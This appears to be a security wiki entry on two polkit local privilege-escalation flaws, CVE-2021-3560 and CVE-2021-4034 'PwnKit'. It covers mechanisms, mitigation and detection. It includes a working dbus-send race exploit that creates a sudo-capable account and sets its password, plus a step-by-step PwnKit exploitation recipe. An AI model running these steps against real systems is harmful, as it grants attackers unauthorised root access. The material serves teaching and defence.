Polkit Privilege Escalation

Polkit (formerly PolicyKit) is the component for controlling system-wide privileges on Unix-like operating systems — it mediates between unprivileged processes and privileged system services, and ships by default on every major Linux distribution that uses systemd. Because its pkexec helper is a SUID-root binary and its daemon sits on the D-Bus system bus, polkit flaws are prime local privilege escalation targets. Two CVEs dominate the landscape: CVE-2021-3560 (a D-Bus race + botched error handling) and CVE-2021-4034 “PwnKit” (a memory corruption in pkexec itself, latent for 12+ years).

CVE-2021-3560: D-Bus race + UID-0 error handling

Found by Kevin Backhouse (GitHub Security Lab), disclosed June 3, 2021. The bug combines a race condition with bad error handling:

  1. Manually request an action that requires superuser access via D-Bus (e.g. accountsservice’s CreateUser).
  2. Kill the dbus-send process after polkit has received the message but before it finishes processing (the race).
  3. Polkit asks dbus-daemon for the UID of the requesting connection — but the connection is gone, so dbus-daemon returns an error.
  4. polkit_system_bus_name_get_creds_sync sets the error out-parameter but still returns TRUE; on the vulnerable codepath the caller never checks the error. The credentials struct is zero-initialized, so the requesting user’s UID appears to be 0.
  5. Polkit believes root requested the action and authorizes it without any authentication challenge.

The bug lived in polkit since version 0.113 (commit bfa5036, ~2014); the Debian fork picked it up in 0.105-26, making Ubuntu 20.04 (policykit-1 0.105-26ubuntu1, fixed in 0.105-26ubuntu1.1) and RHEL 8 vulnerable. One nuance: the bypass only fires on polkit actions that carry an imply annotation — on RHEL the accountsservice path needs gnome-control-center installed, but packagekit (installed by default) provides an alternate vector.

Exploitation

Measure how long the request takes, then kill dbus-send at roughly the halfway point:

# 1. Time the CreateUser request
time dbus-send --system --dest=org.freedesktop.Accounts \
    --type=method_call --print-reply /org/freedesktop/Accounts \
    org.freedesktop.Accounts.CreateUser \
    string:attacker string:"Pentester Account" int32:1
 
# 2. Re-run, killing dbus-daemon-side processing at ~half the
#    measured time (the three params: username, GECOS, int32:1 =
#    grant sudo access)
dbus-send --system --dest=org.freedesktop.Accounts \
    --type=method_call --print-reply /org/freedesktop/Accounts \
    org.freedesktop.Accounts.CreateUser \
    string:attacker string:"Pentester Account" int32:1 &
sleep ${TIME}s; kill $!
 
# 3. Confirm the user exists
id attacker
 
# 4. Hash a password
openssl passwd -6 $PASSWORD
 
# 5. Same race, against SetPassword on /org/freedesktop/Accounts/User$UID
dbus-send --system --dest=org.freedesktop.Accounts \
    --type=method_call --print-reply /org/freedesktop/Accounts/User$UID \
    org.freedesktop.Accounts.User.SetPassword \
    string:'$PASSWORD_HASH' string:'Ask the pentester' &
sleep ${TIME}s; kill $!

Then su attacker and you have a sudo-capable account. The timing is non-deterministic (multiple codepaths query the UID; only one is vulnerable), so expect several attempts.

CVE-2021-4034: PwnKit (pkexec memory corruption)

Found by the Qualys Research Team, disclosed January 25, 2022. pkexec is a SUID-root program installed by default on every major Linux distribution, and the vulnerability had been present since its very first commit in May 2009 — over 12 years. Any unprivileged local user gets full root, reliably, architecture-independently, and even when the polkit daemon isn’t running. Qualys verified exploits on default Ubuntu, Debian, Fedora, and CentOS installs.

Mechanism

pkexec’s argument processing assumes argc >= 1. Calling it with an empty argument vector (execve("/usr/bin/pkexec", {NULL}, env)) causes an out-of-bounds read of argv[1] — which lands on envp[0] — followed by an out-of-bounds write when pkexec resolves the “program name” through PATH and writes the full path back over envp[0]. That write primitive lets an attacker re-introduce an “unsecure” environment variable that ld.so strips from SUID programs at startup.

The exploitation chain:

  1. Create a directory literally named GCONV_PATH=. containing a file pwnkit, and a pwnkit/ directory holding a malicious gconv-modules config plus a shared library that spawns a root shell.
  2. Call pkexec with argv = {NULL} and environment {"pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit"}.
  3. The OOB write turns envp[0] into GCONV_PATH=./pwnkit — smuggling GCONV_PATH into the environment.
  4. pkexec’s environment sanitization rejects the bogus SHELL value and calls GLib’s g_printerr() to report it. Because CHARSET is non-UTF-8, g_printerr() calls glibc’s iconv_open() to translate the message — and iconv_open() loads conversion modules from GCONV_PATH.
  5. The malicious module executes as root (pkexec is SUID), cleans up, and execs a root shell.

This version of the exploit leaves traces in the logs (“The value for the SHELL variable was not found in /etc/shells” or “suspicious content” warnings). Qualys notes the bug is also exploitable without log traces.

The compact C PoC (arthepsy’s version, derived from the Qualys advisory) is ~20 lines; compile and run: gcc exploit.c -o exploit; ./exploit.

Mitigation

Patch polkit immediately (all versions from 2009 onward are vulnerable). If patches are unavailable, the temporary mitigation is removing the SUID bit: chmod 0755 /usr/bin/pkexec. CISA added CVE-2021-4034 to its Known Exploited Vulnerabilities catalog.

Detection and defense

  • Version audit: policykit-1 ≥ 0.105-26ubuntu1.1 (Ubuntu) / 0.119 upstream for CVE-2021-3560; distro-patched polkit for CVE-2021-4034
  • Log watch: pkexec invocations with no arguments, GCONV_PATH in process environments, and the SHELL-validation error messages above
  • SUID inventory: PwnKit is a reminder that every SUID binary is attack surface — audit with the techniques in suid-shell-executable and unix-permissions
  • EDR/file integrity: watch for directories matching GCONV_PATH=* and unexpected gconv-modules files

Sources